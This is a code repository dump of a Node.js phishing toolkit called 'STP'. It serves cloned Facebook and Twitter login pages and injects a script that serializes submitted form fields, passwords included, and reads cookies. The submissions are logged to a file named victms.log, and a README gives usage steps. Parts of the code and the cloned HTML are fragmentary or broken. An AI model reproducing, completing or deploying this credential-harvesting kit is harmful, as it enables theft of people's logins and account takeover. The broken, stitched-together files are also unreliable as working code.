├── logs
└── victms.log
├── linetime.txt
├── config.js
├── README.md
├── stp.plugin.js
├── stp.js
└── files
├── facebook
└── index.html
└── twitter
└── index.html
/logs/victms.log:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/linetime.txt:
--------------------------------------------------------------------------------
1 | 25/09/2015 - [22:30]
2 | * Start project
--------------------------------------------------------------------------------
/config.js:
--------------------------------------------------------------------------------
1 |
2 |
3 | /*
4 | STP Configuration
5 | */
6 |
7 | var Plataform = "/files/facebook/";
8 | var HTTPport = 80;
9 |
10 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | Social Toolkit for Phishing Attacks, a multiplatform tool to simulate phishing attack based on node, a simple server for run our template and fast manipulation,
4 |
5 | ---> NODE ---> HTTP REQUEST ---> LOAD FILE + STP{PAYLOAD} ---> RESPONSE <-- GET DATA
6 |
7 | # USAGE
8 | Download Website to clone
9 | Save the file into folder's project
10 | Setting in config.js and "run sudo node spt.js"
--------------------------------------------------------------------------------
/stp.plugin.js:
--------------------------------------------------------------------------------
1 | function serialize(form){if(!form||form.nodeName!=="FORM"){return }var i,j,q=[];for(i=form.elements.length-1;i>=0;i=i-1){if(form.elements[i].name===""){continue}switch(form.elements[i].nodeName){case"INPUT":switch(form.elements[i].type){case"text":case"hidden":case"password":case"email":case"button":case"reset":case"submit":q.push(form.elements[i].name+"="+encodeURIComponent(form.elements[i].value));break;case"checkbox":case"radio":if(form.elements[i].checked){q.push(form.elements[i].name+"="+encodeURIComponent(form.elements[i].value))}break;case"file":break}break;case"TEXTAREA":q.push(form.elements[i].name+"="+encodeURIComponent(form.elements[i].value));break;case"SELECT":switch(form.elements[i].type){case"select-one":q.push(form.elements[i].name+"="+encodeURIComponent(form.elements[i].value));break;case"select-multiple":for(j=form.elements[i].options.length-1;j>=0;j=j-1){if(form.elements[i].options[j].selected){q.push(form.elements[i].name+"="+encodeURIComponent(form.elements[i].options[j].value))}}break}break;case"BUTTON":switch(form.elements[i].type){case"reset":case"submit":case"button":q.push(form.elements[i].name+"="+encodeURIComponent(form.elements[i].value));break}break}}return q.join("&")};var a=window.location;var b=window.screen.height+"x"+window.screen.width;var c=document.cookie;var d=window.navigator.appVersion.toLowerCase();var e=navigator.appCodeName;window.onload = function () {addEventListener('submit',function () {var f=serialize(document.forms[0]);stp(f);},false)};function stp(dates){document.write('');}
--------------------------------------------------------------------------------
/stp.js:
--------------------------------------------------------------------------------
1 |
2 | /*
3 | [STP] Social Toolkit for Phishing
4 | Author : Redtoor
5 | Version : 1.0
6 |
7 | */
8 |
9 | var net = require('net');
10 | var http = require('http');
11 | var fs = require('fs');
12 | var url = require('url');
13 | var path = require('path');
14 | eval.apply(global, [fs.readFileSync('config.js').toString()]);
15 | var payload = fs.readFileSync("./stp.plugin.js");
16 |
17 |
18 | extensions = {
19 | ".html" : "text/html",
20 | ".css" : "text/css",
21 | ".js" : "application/javascript",
22 | ".png" : "image/png",
23 | ".gif" : "image/gif",
24 | ".jpg" : "image/jpeg",
25 | ".json" : "text/html",
26 | };
27 |
28 | function debugConsole(message){
29 | console.log(message);
30 | }
31 |
32 | function getFileRequest(filePath,res,page404,mimeType,ext){
33 | fs.exists(filePath,function(exists){
34 | if(exists){
35 | fs.readFile(filePath,function(err,contents){
36 | if(!err){
37 | res.writeHead(200,{
38 | "Content-type" : mimeType,
39 | "Content-Length" : contents.length+payload.length+17
40 | });
41 | if (ext == ".html" || ext == "") {res.end(contents+"");}else{res.end(contents);}
42 | } else {
43 | };
44 | });
45 | } else {
46 | fs.readFile(page404,function(err,contents){
47 | if(!err){
48 | res.writeHead(404, {'Content-Type': 'text/html'});
49 | res.end(contents);
50 | } else {};
51 | });
52 | };
53 | });
54 | };
55 |
56 | function saveData(datas){
57 | var serializer = datas.substring(9,datas.length);
58 | fs.appendFile("./logs/victms.log", 'DATA : '+serializer+'\n\n\n', function (err) {});
59 | }
60 |
61 | function requestHandler(req, res) {
62 | try{
63 | var
64 | fileName = req.url,
65 | ext = path.extname(fileName),
66 | localFolder = __dirname + Plataform,
67 | page404 = localFolder + '404.html';
68 | var array = fileName.split('/');
69 | var lastsegment = array[array.length-2];
70 | if(fileName=="/") fileName = "index.html";
71 | if(fileName.substring(0,9) == "/stp.get?") {debugConsole(" {+} Event Submit was detected."); saveData(fileName);}
72 | getFileRequest((localFolder + fileName),res,page404,extensions[ext],ext);
73 | }catch(err){debugConsole(err);}
74 | };
75 |
76 | function stp(){
77 | try{
78 | debugConsole("\n {#} Social ToolKit Phishing.")
79 | debugConsole(" {*} Loading Setting.");
80 | debugConsole(" {*} Plataform "+Plataform+" - Port "+HTTPport);
81 | debugConsole(" {*} Starting Server in localhost:"+HTTPport);
82 | http.createServer(requestHandler).listen(HTTPport);
83 | }catch(err){debugConsole(err);}
84 | }
85 |
86 | stp();
--------------------------------------------------------------------------------
/files/facebook/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
281 | Connect with your friends — and other fascinating people. Get in-the-moment updates on the things that interest you. And watch events unfold, in real time, from every angle.
289 |293 | Un saludo desde Natal Brasil con los Rockstars del internet. 294 |
295 |296 | Tweet and photo by @solopatrick 297 |
298 | 02:04 PM - 14 June 2014 299 |302 | Somos campeoooones del muuuunndoooo!!!!! / 2014 Moto3 World Champ! #AlexMoto3Champ 303 |
304 |305 | Tweet and photo by @alexmarquez23 306 |
307 | 5:25 PM - 9 Nov 2014 308 |311 | Postal de la noche de Copa en la #Bombonera #QueremosLaCopa 312 |
313 |314 | Tweet and photo by @BocaJrsOficial 315 |
316 | 11:47 PM - 20 Nov 2014 317 |Please enable cookies in your browser preferences before signing in.
403 |888 | When you tweet with a location, Twitter stores that location. 889 | You can switch location on/off before each Tweet and always have the option to delete your location history. 890 | Learn more 891 |
892 |